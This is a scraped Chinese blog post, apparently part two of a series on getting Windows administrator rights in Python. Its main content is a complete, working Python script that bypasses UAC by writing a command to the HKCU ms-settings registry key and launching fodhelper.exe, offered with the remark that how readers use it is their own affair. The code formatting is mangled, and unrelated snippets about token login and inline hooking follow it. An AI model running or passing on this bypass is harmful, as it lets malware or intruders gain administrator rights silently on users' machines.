我們在python如果獲取windows管理員許可權(一)中談到了uac的問題。
很多時候我們不希望我們的軟體彈出uac提示,這個時候我們可以通過登錄檔的方法去解決。這其實已經不在是乙個安全的程式設計了,它變成了一把雙刃劍。
當然我們只是討論這種問題該怎麼解決。具體用在什麼方面那是你的問題咯!
通過下面的**我們可以輕鬆繞過uac
# -*- coding: utf-8 -*-
"""created on mon jan 8 09:09:51 2018
@author: coordinate
"""from __future__ import print_function
import os
import sys
import ctypes
if sys.version_info[0]
==3:import winreg as winreg
else
:import _winreg as winreg
cmd = r"c:\windows\system32\cmd.exe"
fod_helper = r'c:\windows\system32\fodhelper.exe'
python_cmd =
"python"
reg_path =
'software\classes\ms-settings\shell\open\command'
delegate_exec_reg_key =
'delegateexecute'
defis_admin()
:'''
checks if the script is running with administrative privileges.
returns true if is running as admin, false otherwise.
'''try:
return ctypes.windll.shell32.isuseranadmin(
)except
:return
false
defcreate_reg_key
(key, value)
:'''
creates a reg key
'''try:
winreg.createkey(winreg.hkey_current_user, reg_path)
registry_key = winreg.openkey(winreg.hkey_current_user, reg_path,
0, winreg.key_write)
winreg.setvalueex(registry_key, key,
0, winreg.reg_sz, value)
winreg.closekey(registry_key)
except windowserror:
raise
defbypass_uac
(cmd)
:'''
tries to bypass the uac
'''try:
create_reg_key(delegate_exec_reg_key,'')
create_reg_key(
none
, cmd)
except windowserror:
raise
defexecute()
:ifnot is_admin():
print
('[!] the script is not running with administrative privileges'
)print
('[+] trying to bypass the uac'
)try
:
current_dir = __file__
cmd =
'{} /k {} {}'
.format
(cmd, python_cmd, current_dir)
bypass_uac(cmd)
os.system(fod_helper)
sys.exit(0)
except windowserror:
sys.exit(1)
else
:#這裡新增我們需要管理員許可權的**
print
('[+] the script is running with administrative privileges!'
)if __name__ ==
'__main__'
: execute(
)
其實我們這個**這裡主要是往登錄檔中新增了這兩項 如果獲取token
基於 token 的身份驗證 使用基於 token 的身份驗證方法,在服務端不需要儲存使用者的登入記錄。流程是這樣的 客戶端使用使用者名稱跟密碼請求登入 服務端收到請求,去驗證使用者名稱與密碼 驗證成功後,服務端會簽發乙個 token,再把這個 token 傳送給客戶端 客戶端收到 token 以後...
python如果獲取windows管理員許可權(一)
我們在執行我們編寫好的python 時,會碰到這樣的報錯問題 permissionerror winerror 5 拒絕訪問。這是因為我們編寫的指令碼的許可權不夠。一種解決辦法是在管理員cmd中執行我們的指令碼 右鍵以 run as administrator 但是這種辦法不夠優雅。我們經常看到當我...
如果獲取庫函式的臨時變數?
inline hook的本質是加跳轉指令,在x86下實現比較簡單,一般用push addr ret即可 這條指定的含義是 將指定的位址壓棧,然後返回到該位址,從而實現hook 然後在指定函式內的hook,需要維持堆疊平衡,因為假設hooked之後想要跳回函式執行,但當前的上下文已經改變,這時候若跳回...